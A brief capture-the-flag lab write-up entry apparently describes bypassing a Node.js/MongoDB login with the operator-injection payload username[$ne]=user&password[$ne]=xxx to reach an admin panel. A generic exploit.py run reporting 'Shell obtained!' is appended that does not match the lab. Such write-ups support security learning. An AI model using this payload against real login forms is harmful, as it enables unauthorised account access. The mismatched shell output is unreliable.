Lab 326 — PulseBoard — NoSQL Injection in Authentication

hackadvisor

Task: Team analytics dashboard with login form vulnerable to NoSQL injection. Solution: Used MongoDB $ne operator injection (username[$ne]=user&password[$ne]=xxx) to bypass authentication and login as admin to access flag in admin panel.

nodejs authentication_bypass express mongodb nosql_injection

mongodb_query_operator_injectionnosql_injection_ne_operator

$ ls tags/ techniques/

nodejs authentication_bypass express mongodb nosql_injection

mongodb_query_operator_injectionnosql_injection_ne_operator

Analysis

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$ python3 exploit.py --target 192.168.1.1 --port 8080
[*] Connecting to target...
[+] Shell obtained!

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